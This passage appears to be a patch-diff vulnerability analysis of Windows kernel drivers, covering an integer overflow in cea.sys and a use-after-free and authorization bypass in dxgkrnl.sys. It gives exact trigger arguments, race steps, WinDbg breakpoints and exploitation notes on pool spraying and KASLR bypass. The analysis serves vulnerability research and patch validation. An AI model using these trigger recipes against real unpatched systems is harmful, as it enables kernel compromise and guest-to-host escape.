0x1c00034b9 : push    r14
0x1c00034bb : push    r15
0x1c00034bd : lea     rbp, [rsp-0x7]
0x1c00034c2 : sub     rsp, 0xc8
0x1c00034c9 : mov     rax, qword [rel 0x1c000e040]   ; __security_cookie
0x1c00034d0 : xor     rax, rsp
0x1c00034d3 : mov     qword [rbp-0x11], rax
0x1c00034d7 : mov     rax, qword [rbp+0x6f]          ; arg5 (128-bit event data ptr)
0x1c00034db : xor     edi, edi
0x1c00034dd : mov     r13, qword [rbp+0x77]          ; arg6 (128-bit event data ptr)
0x1c00034e1 : mov     rbx, rcx                        ; arg1 (aggregation context)
0x1c00034e4 : mov     rcx, qword [rbp+0x8f]          ; arg9 (output ptr)
0x1c00034eb : xor     esi, esi
0x1c00034ed : mov     qword [rbp-0x69], rax           ; save arg5
0x1c00034f1 : xor     r12d, r12d
0x1c00034f4 : cmp     dword [rel 0x1c000e000], 0x4   ; ETW level check
0x1c00034fb : mov     r14, rdx                        ; arg2 (event ID pair)
0x1c00034fe : mov     rax, qword [rbp+0x7f]          ; arg7 (variable data ptr)
0x1c0003502 : mov     qword [rbp-0x61], rax
0x1c0003506 : mov     byte [rbp-0x80], r9b
0x1c000350a : mov     byte [rsp+0x40], r8b
0x1c000350f : mov     qword [rbp-0x71], rcx
0x1c0003513 : mov     qword [rbp-0x79], rdi

; -------- After lookup/validation passes, size computation --------
0x1c00035bf : call    0x1c0011614                     ; release push lock
0x1c00035c4 : mov     rax, qword [rbp-0x69]           ; arg5
0x1c00035c8 : neg     rax                              ; test arg5 != NULL
0x1c00035cb : mov     rax, r13                         ; arg6
0x1c00035ce : sbb     ecx, ecx                         ; ecx = arg5 ? -1 : 0
0x1c00035d0 : and     ecx, 0x10                        ; ecx = arg5 ? 0x10 : 0
0x1c00035d3 : neg     rax                              ; test arg6 != NULL
0x1c00035d6 : sbb     ebx, ebx                         ; ebx = arg6 ? -1 : 0
0x1c00035d8 : and     ebx, 0x10                        ; ebx = arg6 ? 0x10 : 0

; *** VULNERABLE: 32-bit add of attacker-controlled arg8 ***
0x1c00035db : lea     eax, [r15+rcx]   ; *** OVERFLOW: eax = arg8 + (arg5?0x10:0) ***
0x1c00035df : add     ebx, eax         ; *** OVERFLOW: ebx = total (32-bit!) ***
0x1c00035e1 : je      0x1c000364a      ; only jumps if ebx == 0  ← misses general wrap

; -------- Allocation with possibly-wrapped size --------
0x1c00035e3 : mov     edx, ebx                         ; edx = (wrapped) size
0x1c00035e5 : mov     ecx, 0x1                         ; PagedPool
0x1c00035ea : mov     r8d, 0x41747645                  ; 'EtvA'
0x1c00035f0 : call    qword [rel 0x1c0010178]         ; ExAllocatePoolWithTag
0x1c00035f7 : nop
0x1c00035fc : mov     rsi, rax                         ; rsi = tiny buffer
0x1c00035ff : test    rax, rax
0x1c0003602 : jne     0x1c000360b

; -------- Data copy into undersized buffer --------
0x1c000360b : mov     rax, qword [rbp-0x69]           ; arg5
0x1c000360f : mov     rcx, rsi
0x1c0003612 : test    rax, rax
0x1c0003615 : je      0x1c0003628
0x1c0003617 : movups  xmm0, xmmword [rax]              ; load 16 bytes (arg5)
0x1c000361a : mov     r12d, 0x2
0x1c0003620 : lea     rcx, [rsi+0x10]
0x1c0003624 : movdqu  xmmword [rsi], xmm0             ; *** WRITE 16 (buffer may be <16!) ***
0x1c0003628 : test    r13, r13                         ; arg6
0x1c000362b : je      0x1c000363e
0x1c000362d : movups  xmm0, xmmword [r13]              ; load 16 bytes (arg6)
0x1c0003632 : or      r12d, 0x1
0x1c0003636 : movdqu  xmmword [rcx], xmm0             ; *** WRITE 16 more past arg5 ***
0x1c000363a : add     rcx, 0x10
0x1c000363e : mov     rdx, qword [rbp-0x61]           ; arg7 (variable data)
0x1c0003642 : mov     r8, r15                          ; arg8 (HUGE copy length)
0x1c0003645 : call    0x1c0008d80                      ; *** MASSIVE COPY: arg8 bytes ***

Patched overflow check (new `EapSignalContentPrepareEventForPublishing (sub_140008b90)`)

0x140008c0a : lea     eax, [rdi+r8]    ; base + var_data
0x140008c0e : cmp     eax, edi         ; result < base ⇒ wrapped
0x140008c10 : jb      0x140008c26      ; → STATUS_INTEGER_OVERFLOW
0x140008c14 : cmp     dword [r9], edi  ; provided buffer >= needed?
0x140008c17 : jae     0x140008c30      ; ok
0x140008c19 : mov     dword [r9], edi  ; output needed size
0x140008c1c : mov     ebx, 0xc0000023  ; STATUS_BUFFER_TOO_SMALL
0x140008c26 : mov     ebx, 0xc0000095  ; STATUS_INTEGER_OVERFLOW (new)

5. Trigger Conditions

Obtain a handle to the EA aggregation context. Open the Brokered Event Aggregation interface from a user-mode Broker Infrastructure client (or trigger the WNF state-change subscription path).
Create an aggregation event via EACreateAggregateEvent so that arg1 of EaSignalAggregatedEvent is a valid hash-table context resolvable by EaiFindAndAcquireAggregateEvent (sub_1c000251c).
Prepare the call arguments:
arg1 = aggregation context handle.
arg2 = pointer to a 64-bit event-ID pair; *(uint32_t*)arg2 and *((uint32_t*)arg2 + 1) must not both be zero (validation gate at function entry).
arg5 = non-NULL pointer to 16 bytes (forces +0x10 to size).
arg6 = non-NULL pointer to 16 bytes (forces +0x10 to size).
arg7 = non-NULL pointer to variable-length data buffer.
arg8 = 0xFFFFFFF0 (causes (0xFFFFFFF0 + 0x10 + 0x10) & 0xFFFFFFFF == 0x10).
Issue the call via the Broker Infrastructure RPC dispatch (NdrClientCall3). No race-condition ordering is required — the path is synchronous.
Confirm the bug fired:
At 0x1c00035df, EBX == 0x10 while R15D == 0xFFFFFFF0.
At 0x1c00035f0, ExAllocatePoolWithTag allocates 16 bytes.
At 0x1c0003645, the driver copies arg8 bytes into that 16-byte allocation — an out-of-bounds kernel pool write past the allocation end.

6. Exploit Primitive & Development Notes

Primitive (as demonstrable from the binary). A kernel pool out-of-bounds write where:

The size of the overflow is controlled by the 32-bit arg8 (up to ~4 GB, the DWORD maximum).
The content of the first 32 bytes past the undersized allocation is controlled (arg5 + arg6 16-byte blocks copied via the two movdqu writes).
The remaining bytes come from the arg7 buffer, copied by memmove (sub_1c0008d80) at 0x1c0003645.
The allocation is tag 'EtvA' (0x41747645), PagedPool, in the unpatched build.

By choosing arg8 to wrap to a small but non-zero total (e.g. arg8 = 0xFFFFFFE1 with both arg5/arg6 present → 0xFFFFFFE1 + 0x10 + 0x10 = 0x1 truncated), the allocation is 1 byte while the subsequent memmove length remains arg8 — an out-of-bounds pool write whose length is attacker-chosen.

End-to-end exploitation (pool layout control, adjacent-object selection, control-flow hijack) is not established from these two binaries and is not claimed here. The verified, reachable impact is a controlled-length kernel pool out-of-bounds write.

7. Debugger PoC Playbook (WinDbg / KD)

Breakpoints (paste directly)

bp cea_unpatched!EaSignalAggregatedEvent            ; function entry
bp cea_unpatched!EaSignalAggregatedEvent+0x12B      ; 0x1c00035db  ← overflow lea
bp cea_unpatched!EaSignalAggregatedEvent+0x12F      ; 0x1c00035df  ← overflow add
bp cea_unpatched!EaSignalAggregatedEvent+0x140      ; 0x1c00035f0  ← ExAllocatePoolWithTag
bp cea_unpatched!EaSignalAggregatedEvent+0x195      ; 0x1c0003645  ← copy call (overflow fires)

; Conditional breakpoint to only catch the bug:
bp 0x1c00035e1 ".if (@ebx < 0x30) & (@r15 > 0x100) {.echo INT_OVERFLOW_DETECTED} .else {gc}"

What to inspect at each breakpoint

Stop	Address	What to inspect
Entry	`0x1c00034b0`	`rcx` = arg1 (context), `rdx` = arg2 (event-ID pair — must not be `0,0`), `[rsp+0x28]` = arg5, `[rsp+0x30]` = arg6, `[rsp+0x38]` = arg7, `[rsp+0x40]` = arg8 (overflow trigger).
Overflow `lea`	`0x1c00035db`	`r15d` = arg8, `ecx` = `arg5 ? 0x10 : 0`. EAX = arg8 + arg5_contrib. If `eax < r15d`, wrap has occurred.
Overflow `add`	`0x1c00035df`	`ebx` = final allocation size; compare against `r15d`. If `ebx << r15d`, integer overflow.
Allocation	`0x1c00035f0`	`edx` = size passed to `ExAllocatePoolWithTag` (will be tiny). Tag = `0x41747645`.
Copy call	`0x1c0003645`	`rcx` = destination inside the 16-byte allocation, `rdx` = arg7 source, `r8` = arg8 length (≈ 4 GB).

Key offsets

Offset	Instruction	Role
`0x1c00035db`	`lea eax,[r15+rcx]`	Vulnerable 32-bit add (1st half).
`0x1c00035df`	`add ebx,eax`	Vulnerable 32-bit add (2nd half).
`0x1c00035e1`	`je 0x1c000364a`	Only catches exact zero wrap; misses general overflow.
`0x1c00035f0`	`call ExAllocatePoolWithTag`	Allocates with wrapped (tiny) size.
`0x1c0003624`	`movdqu [rsi],xmm0`	Writes 16 bytes (arg5 data) — may already overflow.
`0x1c0003636`	`movdqu [rcx],xmm0`	Writes 16 bytes (arg6 data) past end.
`0x1c0003645`	`call memmove (sub_1c0008d80)`	Copies `arg8` bytes — massive overflow.
`0x140008c0e`–`0x140008c10` (patched)	`cmp eax,edi; jb`	Added overflow check — absent in unpatched.

Trigger setup from user mode

Load cea.sys is auto-loaded by Windows; no manual load needed.
Use the Broker Infrastructure user-mode API to:
Create an aggregation context (call EACreateAggregateEvent).
Call EaSignalAggregatedEvent (via NdrClientCall3) with:
- arg1 = aggregation handle,
- arg2 = non-zero event-ID pair,
- arg5 / arg6 = pointers to 16-byte buffers,
- arg7 = pointer to a (small) data buffer,
- arg8 = 0xFFFFFFF0 (or 0xFFFFFFE1 for a smaller, controlled-length overflow).

The WNF notification path (WnfEventCallback (sub_1c00018c8)) does not reach this size computation; it calls EaiProcessNotification (sub_1c0001bc4) directly and is not an alternative trigger for this bug.

Expected runtime observation

With arg8 = 0xFFFFFFF0: at 0x1c00035df, ebx = 0x10. Allocation of 16 bytes succeeds. movdqu at 0x1c0003624 fills it exactly. movdqu at 0x1c0003636 writes 16 bytes past the end. memmove (sub_1c0008d80) at 0x1c0003645 copies arg8 bytes past the allocation — an out-of-bounds kernel pool write.
Use !pool @rcx after the overflow to inspect corrupted headers; !poolfind 0x41747645 1 to enumerate 'EtvA' allocations.

Struct / offset notes

Pool tag for vulnerable allocation: 0x41747645 ('EtvA').
Pool type (unpatched): PagedPool (0x1).
Allocation size in pool header will be small (e.g., 0x10); copy length (r8 at 0x1c0003645) will be huge.
Event-ID pair (arg2) is two 32-bit values; both zero is rejected by the entry gate.

8. Changed Functions — Full Triage

Security-relevant

Function	Sim.	Change	Note
`EaSignalAggregatedEvent`	0.853	Security-relevant	Removes vulnerable inline 32-bit size arithmetic; adds overflow-safe helper `EapSignalContentPrepareEventForPublishing (sub_140008b90)` returning `STATUS_INTEGER_OVERFLOW` / `STATUS_BUFFER_TOO_SMALL`; migrates `ExAllocatePoolWithTag` → `ExAllocatePool2(POOL_FLAG_NON_PAGED)`.

Behavioral (not directly exploitable, but worth flagging)

Function	Sim.	Change
`WnfEventCallback (sub_1C00018C8)`	0.594	Refactor, not a security fix. WNF bitfield parsing plus its existing bounds checks (`size >= 8`, `size >= count + 8`) extracted into new helper `EapSignalMessageReadFromBuffer (sub_140008a98)`; the same checks are present inline in the unpatched build (`0x1c00019b9`, `0x1c0001a41`). Does not reach the Finding 1 computation.

Function	Sim.	Change
`BripCreateBrokeredEvent (sub_1C0005340)`	0.745	RPC stub swap (`data_1c000aab0` → `data_14000b860`, procedure index 5 → 0); reordered `RtlValidSid` / `RtlRunOnceExecuteOnce`; unified cleanup label.
`EaCreateAggregation`	0.965	`ExAllocatePoolWithTag` → `ExAllocatePool2(POOL_FLAG_NON_PAGED)`; added NULL-check on `rdi` before cleanup (prevents a null-deref on error path — minor hardening).
`BriDeleteBrokeredEvent`	0.979	RPC dispatch replaced: UUID-compare path (`EapSystemBriDeleteEvent (sub_1c0008a58)` → `EapSystemBriDeleteEvent (sub_140008984)` via `UuidEqual`) and RPC helpers renamed (`BripCreateRpcBindingHandle (sub_1c00058c0)`/`BripMapRpcStatus (sub_1c0005f84)` → `BripCreateRpcBindingHandle (sub_140005ab4)`/`BripMapRpcStatus (sub_140005dac)`).
`EaiDuplicateConditionsVisitNode (sub_1C0003840)`	0.842	Pool migration; register reallocation (`r14`→`rdi`); improved copy loop.
`EapQueryAggregatedEventConditionPostVisitNode (sub_1C0007760)`	0.905	Pool migration; `RtlCompareUnicodeString` extracted to `EapInitConditionParams (sub_140007008)`; copy-loop stride arithmetic restructured (`rax_126` vs `rax_106`).

Cosmetic / register-allocation only

EACreateAggregateEvent (0.989) — pool migration + stack cookie offset shuffle.
EaiProcessNotification (sub_1C0001BC4) (0.942) — register swaps r14↔r15, r12↔r15b, rdi↔rsi; callee renames only (EaiSignalCallback (sub_1c00021d4) → EaiSignalCallback (sub_14000413c), etc.).
__cpu_features_init (sub_1C0008C80) (0.393) — compiler-generated reordering of CPUID / XGETBV checks; no semantic change.

All remaining ~70 changes are dominantly ExAllocatePoolWithTag → ExAllocatePool2 migrations and minor control-flow normalization; they do not introduce behavioral differences relevant to security.

9. Unmatched Functions

Direction	Count	Notes
Added (patched only)	0	New helpers `EapSignalContentPrepareEventForPublishing (sub_140008b90)`, `EapSignalMessageReadFromBuffer (sub_140008a98)`, `EapInitConditionParams (sub_140007008)` appear inlined/referenced from changed functions but are not listed as standalone unmatched entries — they exist as sub-symbols of patched functions in the diff.
Removed (unpatched only)	0	No sanitizers or checks removed.

Implication: The security-relevant change is the added integer-overflow check in EapSignalContentPrepareEventForPublishing (sub_140008b90). EapSignalMessageReadFromBuffer (sub_140008a98) is a refactor that relocates already-present WNF bounds checks into a shared helper. Nothing protective was removed.

10. Confidence & Caveats

Confidence: High that the change is a genuine integer-overflow fix. The vulnerable 32-bit arithmetic, the missing wrap check, and the patched cmp eax,edi; jb → STATUS_INTEGER_OVERFLOW are all directly confirmed in both builds.

Caveats / assumptions:

EaSignalAggregatedEvent is an exported function with no internal callers, so it is reached through its export. The exact RPC procedure/opnum that dispatches into it from user mode, and therefore the privilege level and degree of attacker control over arg8, are not determinable from these binaries.
The overflow and the copy length are strictly 32-bit-bounded (arg8 is loaded as a DWORD at 0x1c0003545; the memmove length is the zero-extended r15), so the maximum out-of-bounds write length is ~4 GB, not a 64-bit value.
A large arg8 (e.g. 0xFFFFFFF0) drives a very long copy that will fault quickly; choosing arg8 to wrap to a small non-zero total (e.g. 0xFFFFFFE1) yields a short, controlled-length out-of-bounds write.
The patch migrates the vulnerable allocation to ExAllocatePool2(POOL_FLAG_NON_PAGED). On the unpatched binary it is ExAllocatePoolWithTag(PagedPool, ...).

Manual verification checklist before PoC:

Disassemble the user-mode Broker Infrastructure client to confirm the RPC opnum that lands in EaSignalAggregatedEvent.
Reverse EaiFindAndAcquireAggregateEvent (sub_1c000251c) (hash-table lookup on arg1) to learn how to construct a valid aggregation context.
Reverse the entry-validation gate to confirm exactly which arg2 event-ID pairs are accepted.
Verify the unpatched pool type / tag at runtime with !poolfind 0x41747645 1.

dxgkrnl.sys — Use-After-Free (CWE-416) — missing reference count on DXGSHAREDVMOBJECT in DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage fixed

2026-06-26T00:00:00-07:00

1. Overview

Unpatched Binary: dxgkrnl_unpatched.sys
Patched Binary: dxgkrnl_patched.sys
Overall Similarity: 0.99 (99%)
Diff Statistics:
Matched Functions: 6897
Changed Functions: 38
Identical Functions: 6859
Unmatched Functions: 0 (Unpatched), 0 (Patched)

Verdict: The patch remediates multiple critical vulnerabilities in the GPU paravirtualization (VMBus) interfaces of dxgkrnl.sys, most notably a Use-After-Free (UAF) in the Remote Object Channel and a cross-device memory access bypass, both enabled by security checks being improperly gated behind disabled feature flags.

2. Vulnerability Summary

The patch addresses several critical flaws stemming from missing locks, missing reference counting, and bypassed authorization checks—most of which were erroneously gated behind internal feature-staging flags in the unpatched build.

Finding 1: Use-After-Free in `ProcessChannelMessage`

Severity: Critical
Vulnerability Class: Use-After-Free (CWE-416)
Affected Function: DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage
Root Cause: When processing VMBus message type 1 (CreateBundle, size 0x58), the handler iterates over guest-supplied shared VM object handles. The unpatched code only calls DXGSHAREDVMOBJECT::AddReference() if Feature_1259646266__private_IsEnabledDeviceUsage() returns true. Because this flag is disabled by default, the object pointer is used to read data (+0x8 and +0x0) without holding a reference. A concurrent thread or VMBus message (e.g., type 3 DestroyBundle) can free the object, causing the kernel to read from reclaimed pool memory.
Entry Point & Data Flow:
Malicious guest VM sends VMBus packet to DXG_HOST_REMOTEOBJECTCHANNEL.
VmBusProcessPacket dispatches the packet to ProcessChannelMessage.
Handler matches message type 1, size 0x58.
Iterates array of handles at arg2+0x18 (count at arg2+0x10).
Looks up DXGSHAREDVMOBJECT from handle table.
Skips AddReference due to disabled feature flag, leaving a dangling pointer.

Finding 2: Cross-Device Memory Access in `VmBusBlt`

Severity: High
Vulnerability Class: Missing Authorization / Confused Deputy (CWE-863)
Affected Function: DXG_HOST_VIRTUALGPU_VMBUS::VmBusBlt
Root Cause: While handling DXGKVMB_COMMAND_BLT from a guest VM, the unpatched code validates that the provided DXGCONTEXT belongs to the provided DXGDEVICE by comparing context->device pointers. However, this critical isolation check is bypassed if Feature_611095865 returns false. A malicious guest can intentionally mismatch device and context handles to execute a BLT (memory copy) operation across device boundaries, breaking VM-to-VM or process-to-process isolation on the GPU.
Entry Point & Data Flow:
Guest VM sends DXGKVMB_COMMAND_BLT over the virtual GPU VMBus.
VmBusBlt extracts the target context and device handles.
The function skips the ownership validation check due to the feature flag.
The BLT command proceeds with unauthorized memory access.

Finding 3: Missing Resource Reference in `VmBusCreateNtSharedObject`

Severity: High
Vulnerability Class: Missing Reference Count (CWE-911)
Affected Function: DXG_HOST_GLOBAL_VMBUS::VmBusCreateNtSharedObject
Root Cause: If the handle table entry type is 0x4 (DXGRESOURCE), the code is supposed to create a DXGRESOURCEREFERENCE for safe tracking. The unpatched code skips this reference creation if Feature_309893433 is disabled, while still sharing the object. This leads to a potential UAF when the underlying resource is destroyed.

Finding 4: Race Conditions in Pin/Unpin Operations

Severity: Medium to High
Vulnerability Class: Race Condition (CWE-362)
Affected Functions: DXGDEVICE::PinResources, DXGDEVICE::UnpinResource, DXGCONTEXT::RenderKmLda, DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObjectCblt, SignalSynchronizationObjectFromCpu
Root Cause: The unpatched code performs these operations without the protecting locks. The patch adds/restores the locking in two distinct directions. DXGSYNCOBJECTLOCK::AcquireShared already exists in the unpatched build but is gated behind Feature_2505606457; the patch removes that gate and makes the acquire unconditional. Per-resource DXGAUTOMUTEX::Acquire locking is entirely NEW in the patch (0 occurrences in the unpatched build) and is itself gated behind the newly-introduced Feature_253710648 staging flag, i.e. a staged rollout where the lock is only taken once the flag is enabled. With the locks absent, the code modifies allocation flags, triggers GPU paging callbacks, or signals sync objects without holding the required locks, allowing concurrent modification. This locking-based hardening matches the KB's assigned CWE-362 race-condition CVEs (CVE-2026-20814, CVE-2026-20836).

3. Pseudocode Diff

`DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage` (UAF)

// UNPATCHED  (decompilation of 0x1C028C3A0, per-handle loop body)
// v35 is the DXGSHAREDVMOBJECT looked up from the guest's handle table.
v35 = *((DXGSHAREDVMOBJECT **)v30 + 2 * (unsigned int)v34);
if ( v35 == nullptr )
    break;
if ( (unsigned int)Feature_1259646266__private_IsEnabledDeviceUsage() != 0 )
{
    DXGSHAREDVMOBJECT::AddReference(v35, v36);   // reference taken only when flag is enabled
    v66[v32] = v35;                              // and only then recorded for later release
}
v67[v32]     = *((void **)v35 + 1);   // read object+0x8  (runs even when no reference was taken)
a2[v32 + 6]  = *(_DWORD *)v35;        // read object+0x0  (runs even when no reference was taken)

// PATCHED  (decompilation of 0x1C028C490, same loop body)
v35 = *((DXGSHAREDVMOBJECT **)v30 + 2 * (unsigned int)v34);
if ( v35 == nullptr )
    break;
DXGSHAREDVMOBJECT::AddReference(v35, v33);   // reference taken unconditionally
v64[v32]     = *((void **)v35 + 1);   // read object+0x8, reference now held
a2[v32 + 6]  = *(_DWORD *)v35;        // read object+0x0, reference now held
v63[v32]     = v35;                   // recorded for later release, unconditionally

4. Assembly Analysis

`DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage`

Unpatched Assembly (Vulnerable Sequence, 0x1C028C3A0)

00000001C028C73C  mov     r12, [r8+r12*8]      ; look up DXGSHAREDVMOBJECT from handle table
00000001C028C740  test    r12, r12
00000001C028C743  jz      loc_1C028C7CC
00000001C028C749  call    Feature_1259646266__private_IsEnabledDeviceUsage  ; 0x1C00281DC
00000001C028C74E  test    eax, eax
00000001C028C750  jz      short loc_1C028C75F  ; flag disabled: skip AddReference and the ref-array store
00000001C028C752  mov     rcx, r12
00000001C028C755  call    ?AddReference@DXGSHAREDVMOBJECT@@QEAAJXZ  ; 0x1C0238ED8
00000001C028C75A  mov     [rbp+r13*8+110h+var_150], r12  ; record object for later release
00000001C028C75F  mov     rax, [r12+8]         ; read object+0x8 without a reference held
00000001C028C764  mov     [rbp+r13*8+110h+var_D0], rax
00000001C028C769  mov     eax, [r12]           ; read object+0x0 without a reference held
00000001C028C76D  mov     [rsi+r13*4+18h], eax
00000001C028C772  mov     eax, [rsp+210h+var_1E0]
00000001C028C776  inc     eax
00000001C028C778  mov     [rsp+210h+var_1E0], eax
00000001C028C77C  cmp     eax, [rsi+10h]
00000001C028C77F  jnb     loc_1C028C805
00000001C028C785  mov     r12, [rsp+210h+var_1D8]
00000001C028C78A  jmp     loc_1C028C6D4        ; next handle

Patched Assembly (Fixed Sequence, 0x1C028C490)

00000001C028C82C  mov     r12, [r8+r12*8]      ; look up DXGSHAREDVMOBJECT from handle table
00000001C028C830  test    r12, r12
00000001C028C833  jz      short loc_1C028C8AF
00000001C028C835  mov     rcx, r12
00000001C028C838  call    ?AddReference@DXGSHAREDVMOBJECT@@QEAAJXZ  ; 0x1C0238A98, no feature-flag gate
00000001C028C83D  mov     rax, [r12+8]         ; read object+0x8, reference now held
00000001C028C842  mov     [rbp+r13*8+110h+var_D0], rax
00000001C028C847  mov     eax, [r12]           ; read object+0x0, reference now held
00000001C028C84B  mov     [rsi+r13*4+18h], eax
00000001C028C850  mov     eax, [rsp+210h+var_1E0]
00000001C028C854  inc     eax
00000001C028C856  mov     [rbp+r13*8+110h+var_150], r12  ; record object for later release, unconditionally
00000001C028C85B  mov     [rsp+210h+var_1E0], eax
00000001C028C85F  cmp     eax, [rsi+10h]
00000001C028C862  jnb     loc_1C028C8E8
00000001C028C868  mov     r12, [rsp+210h+var_1D8]
00000001C028C86D  jmp     loc_1C028C7C4        ; next handle

`DXG_HOST_VIRTUALGPU_VMBUS::VmBusBlt`

Unpatched Assembly (Vulnerable Sequence, 0x1C023D020)

00000001C023D1E0  call    Feature_611095865__private_IsEnabledDeviceUsage  ; 0x1C0026B38
00000001C023D1E5  mov     rcx, [rsp+1A0h+var_148]  ; context object
00000001C023D1EA  test    eax, eax
00000001C023D1EC  jz      short loc_1C023D20E      ; flag disabled: skip the ownership check entirely
00000001C023D1EE  cmp     [rcx+10h], r14           ; context->device vs supplied device
00000001C023D1F2  jz      short loc_1C023D20E      ; match: proceed
00000001C023D1F4  call    cs:__imp_WdLogNewEntry5_WdError  ; mismatch: reject
00000001C023D1FB  nop     dword ptr [rax+rax+00h]
00000001C023D200  mov     rcx, rax
00000001C023D203  mov     rax, [rsp+1A0h+var_148]
00000001C023D208  mov     [rcx+20h], r14
00000001C023D20C  jmp     short loc_1C023D1B0
00000001C023D20E  add     rcx, 1D0h               ; proceed: acquire context push lock and run the BLT

Patched Assembly (Fixed Sequence, 0x1C023CBE0)

00000001C023CD57  mov     rcx, [rsp+1A0h+var_148]  ; context object
00000001C023CD5C  test    rcx, rcx
00000001C023CD5F  jnz     short loc_1C023CDA3
; ... null-context path logs an error ...
00000001C023CDA3  cmp     [rcx+10h], r14           ; context->device vs supplied device, no feature-flag gate
00000001C023CDA7  jz      short loc_1C023CDC3      ; match: proceed
00000001C023CDA9  call    cs:__imp_WdLogNewEntry5_WdError  ; mismatch: reject
00000001C023CDB0  nop     dword ptr [rax+rax+00h]
00000001C023CDB5  mov     rcx, rax
00000001C023CDB8  mov     rax, [rsp+1A0h+var_148]
00000001C023CDBD  mov     [rcx+20h], r14
00000001C023CDC1  jmp     short loc_1C023CD73
00000001C023CDC3  add     rcx, 1D0h               ; proceed: acquire context push lock and run the BLT

5. Trigger Conditions

To trigger the critical UAF (ProcessChannelMessage):

Obtain access to the Hyper-V GPU Paravirtualization VMBus interface from a malicious guest VM.
Ensure the target host has internal feature flag Feature_1259646266 disabled (default state).
Send a message of type 1 (CreateBundle) to the Remote Object Channel with a size of exactly 0x58.
The message structure must be formatted as follows:
+0x10: Handle count (> 0 and <= 0x10)
+0x14: Flags (Bit 0 must be set to indicate shared VM objects are present)
+0x18: Array of handles resolving to valid DXGSHAREDVMOBJECT (type 0xd) in the host handle table.
From a secondary thread or virtual CPU in the guest, immediately send a type 3 message (DestroyBundle) targeting one of the shared VM object handles provided in step 4.
Race Constraint: Because no AddReference is taken (feature flag disabled), the looked-up object is not kept alive by this code path. The concurrent teardown must drop the object's last reference and free it between the handle-table lookup (mov r12, [r8+r12*8] at 0x1c028c73c) and the two reads (mov rax, [r12+8] at 0x1c028c75f and mov eax, [r12] at 0x1c028c769), so those reads land on freed pool memory.
Observable Effect: Kernel crash (BSOD) due to paged out or corrupted pool memory being accessed, or silent kernel memory corruption if the pool has been sprayed with attacker-controlled data.

6. Exploit Primitive & Development Notes

Provided Primitive: The bug offers a Kernel Use-After-Free (UAF). The attacker frees a DXGSHAREDVMOBJECT kernel pool allocation while the host kernel holds a stale pointer to it. The kernel subsequently reads from offsets +0x0 and +0x8 of the freed allocation.
Turning it into a Full Exploit:
Heap Spray: Reclaim the freed pool allocation (typically Nonpaged Pool) using a kernel object of identical allocation size that allows user-mode data injection. Good candidates involve NtCreateWorkerFactory or specific GDI objects depending on the exact size of DXGSHAREDVMOBJECT.
Info Leak: Combine with a separate information leak vulnerability (or use the stale read itself if the reclaimed data contains pointers) to defeat KASLR.
Control Flow Hijack: Although the visible unpatched sequence only shows reads, modifying the object's internal state via reclaimed memory could corrupt subsequent kernel operations relying on that object's lifetime or vtable.
Mitigations Impact:
KASLR: Must be bypassed to utilize kernel function pointers.
Pool Integrity/SEGMENTHEAP: Modern Windows pool segregation may require careful spray sizing to ensure the reclaimed object lands in the exact freed slot.
VBS/HVCI: If active, arbitrary write primitive development must rely on data-only attacks (corrupting privilege bits or linked lists) rather than write-what-where shellcode execution.

7. Debugger PoC Playbook

To validate and trace this vulnerability on an unpatched host with a kernel debugger (KD/WinDbg) attached:

Breakpoints:
bp dxgkrnl!DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage (or bp 0x1c028c3a0 if symbols are unavailable). This is the entry point to catch message type 1.
bp 0x1c00281dc (Target Feature_1259646266__private_IsEnabledDeviceUsage). Inspect the return value to confirm the vulnerable path is taken.
bp 0x1c028c73c (mov r12, [r8+r12*8], the handle-table lookup that loads the DXGSHAREDVMOBJECT pointer; the feature-flag check follows at 0x1c028c749).
What to inspect at each breakpoint:
At ProcessChannelMessage: rcx holds arg2 (the message packet). Read poi(rcx+0x10) for handle count, and poi(rcx+0x14) to verify bit 0 is set.
At the handle iteration loop: r12 holds the raw pointer to the looked-up DXGSHAREDVMOBJECT. Monitor r12 closely.
At 0x1c028c74e (test eax, eax, right after the feature call): verify eax (return value of the feature check). If eax == 0, the jz at 0x1c028c750 jumps over AddReference and the ref-array store, straight to the reads at 0x1c028c75f.
Key instructions/offsets:
0x1c0238ed8: The DXGSHAREDVMOBJECT::AddReference call that is skipped when the flag is disabled.
0x1c028c805: Release@DXGAUTOPUSHLOCK, where the handle-table shared push lock is released after the loop completes.
mov rax, [r12+0x8] at 0x1c028c75f and mov eax, [r12] at 0x1c028c769: the exact instructions performing the reference-less dereference.
Trigger Setup:
This requires a Hyper-V environment. The host runs the unpatched dxgkrnl.sys.
Spin up a guest VM with GPU-PV (GPU Paravirtualization) enabled.
From the guest, use custom code to interact with the virtual GPU device interface, sending raw VMBus packets. Specifically, issue a CreateBundle (type 1) with a shared VM object handle, while concurrently issuing a DestroyBundle (type 3) for the same handle.
Expected observation:
If the race is won, the kernel debugger will halt with a Bugcheck (e.g., PAGE_FAULT_IN_NONPAGED_AREA).
The faulting instruction will be the memory read from r12.
Inspecting !pool r12 will show that the memory is Free, confirming the UAF.

8. Changed Functions — Full Triage

Security-Critical Changes: - DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage: Removed feature flag gate for AddReference (Critical UAF fix). - DXG_HOST_VIRTUALGPU_VMBUS::VmBusBlt: Removed feature flag gate for context/device authorization check (Confused Deputy fix). - DXG_HOST_GLOBAL_VMBUS::VmBusCreateNtSharedObject: Enforced DXGRESOURCEREFERENCE for type 0x4 objects. - SignalSynchronizationObjectFromCpu, DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObjectCblt, DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObject: Hardened sync-object locking by REMOVING the Feature_2505606457 gate around DXGSYNCOBJECTLOCK::AcquireShared (unpatched gated behind the flag, patched unconditional). - DXGDEVICE::PinResources, DXGDEVICE::UnpinResource, DXGCONTEXT::RenderKmLda: ADDED per-resource DXGAUTOMUTEX::Acquire / DXGPUSHLOCK::AcquireShared locking that is absent from the unpatched build; the new locking is itself gated behind the newly-introduced Feature_253710648 staging flag (present only in the patched build).

